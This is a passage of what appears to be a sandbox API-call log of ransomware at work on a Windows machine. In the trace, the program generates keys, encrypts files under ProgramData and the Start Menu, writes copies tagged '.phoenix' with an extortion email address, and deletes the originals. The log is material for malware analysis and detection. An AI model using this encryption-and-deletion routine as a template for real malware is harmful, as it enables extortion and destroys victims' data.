	[0263.034] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.034] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.PrintDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.printdialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.035] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1740) returned 1
	[0263.035] CloseHandle (hObject=0x254) returned 1
	[0263.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.PrintDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.printdialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0263.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.PrintDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.printdialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.035] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.PrintDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.printdialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0263.036] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.036] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Deployment.srd" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-deployment.srd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.036] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=5242880) returned 1
	[0263.036] CloseHandle (hObject=0x254) returned 1
	[0263.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Deployment.srd" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-deployment.srd")) returned 0x20
	[0263.036] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Deployment.srd" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-deployment.srd"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Deployment.srd.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-deployment.srd.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0
	[0263.036] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Deployment.srd.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-deployment.srd.id[b4197730-0001].[costelloh@aol.com].phoenix"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Deployment.srd" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-deployment.srd")) returned 0
	[0263.037] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.037] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Deployment.srd-shm" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-deployment.srd-shm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.037] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=32768) returned 1
	[0263.037] CloseHandle (hObject=0x254) returned 1
	[0263.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Deployment.srd-shm" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-deployment.srd-shm")) returned 0x20
	[0263.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Deployment.srd-shm.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-deployment.srd-shm.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.038] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Deployment.srd-shm" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-deployment.srd-shm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0263.038] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.038] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Deployment.srd-wal" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-deployment.srd-wal"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.038] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0263.038] CloseHandle (hObject=0x254) returned 1
	[0263.038] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.038] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Machine.srd" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-machine.srd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.039] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2883584) returned 1
	[0263.039] CloseHandle (hObject=0x254) returned 1
	[0263.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Machine.srd" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-machine.srd")) returned 0x20
	[0263.039] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Machine.srd" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-machine.srd"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Machine.srd.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-machine.srd.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0
	[0263.039] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Machine.srd.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-machine.srd.id[b4197730-0001].[costelloh@aol.com].phoenix"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Machine.srd" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-machine.srd")) returned 0
	[0263.039] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.039] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Machine.srd-shm" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-machine.srd-shm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.039] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=32768) returned 1
	[0263.039] CloseHandle (hObject=0x254) returned 1
	[0263.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Machine.srd-shm" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-machine.srd-shm")) returned 0x20
	[0263.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Machine.srd-shm.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-machine.srd-shm.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.040] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Machine.srd-shm" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-machine.srd-shm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0263.040] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.040] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Machine.srd-wal" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-machine.srd-wal"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.040] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=8608) returned 1
	[0263.040] CloseHandle (hObject=0x254) returned 1
	[0263.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Machine.srd-wal" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-machine.srd-wal")) returned 0x20
	[0263.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Machine.srd-wal.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-machine.srd-wal.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.040] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Machine.srd-wal" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-machine.srd-wal"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0263.041] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.041] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrc.idx" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatacache\\dmrc.idx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.042] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=719480) returned 1
	[0263.042] CloseHandle (hObject=0x254) returned 1
	[0263.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrc.idx" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatacache\\dmrc.idx")) returned 0x20
	[0263.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrc.idx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatacache\\dmrc.idx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.043] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrc.idx" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatacache\\dmrc.idx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.043] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0263.043] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0263.043] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrc.idx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatacache\\dmrc.idx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0263.043] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1510c0) returned 1
	[0263.043] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0263.043] ReadFile (in: hFile=0x254, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0xafa78, lpOverlapped=0x0) returned 1
	[0263.100] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xafa80, dwBufLen=0xafa80 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xafa80) returned 1
	[0263.101] WriteFile (in: hFile=0x250, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xafa80, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xafa80, lpOverlapped=0x0) returned 1
	[0263.112] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0263.112] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0263.112] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0263.112] CryptDestroyKey (hKey=0x151640) returned 1
	[0263.112] WriteFile (in: hFile=0x250, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0263.112] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0263.112] CloseHandle (hObject=0x254) returned 1
	[0263.113] CloseHandle (hObject=0x250) returned 1
	[0263.113] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrc.idx" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatacache\\dmrc.idx")) returned 1
	[0263.118] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.118] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatastore\\en-us\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0263.119] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=14134) returned 1
	[0263.120] CloseHandle (hObject=0x250) returned 1
	[0263.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatastore\\en-us\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms")) returned 0x20
	[0263.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatastore\\en-us\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.120] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatastore\\en-us\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0263.120] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.120] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatastore\\en-us\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0263.121] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=110457) returned 1
	[0263.121] CloseHandle (hObject=0x250) returned 1
	[0263.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatastore\\en-us\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms")) returned 0x20
	[0263.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatastore\\en-us\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.121] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatastore\\en-us\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0263.121] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.121] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Access 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\access 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.147] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2420) returned 1
	[0263.147] CloseHandle (hObject=0x254) returned 1
	[0263.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Access 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\access 2016.lnk")) returned 0x20
	[0263.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Access 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\access 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.148] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Access 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\access 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.148] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0263.148] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0263.148] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Access 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\access 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.152] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0263.152] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0263.152] ReadFile (in: hFile=0x254, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x974, lpOverlapped=0x0) returned 1
	[0263.180] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x980, dwBufLen=0x980 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x980) returned 1
	[0263.180] WriteFile (in: hFile=0x308, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x980, lpOverlapped=0x0) returned 1
	[0263.181] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1517c0) returned 1
	[0263.181] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0263.181] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0263.181] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0263.181] WriteFile (in: hFile=0x308, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0263.181] CryptDestroyKey (hKey=0x151640) returned 1
	[0263.181] CloseHandle (hObject=0x254) returned 1
	[0263.181] CloseHandle (hObject=0x308) returned 1
	[0263.300] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Access 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\access 2016.lnk")) returned 1
	[0263.450] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.450] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.497] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1182) returned 1
	[0263.497] CloseHandle (hObject=0x254) returned 1
	[0263.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk")) returned 0x20
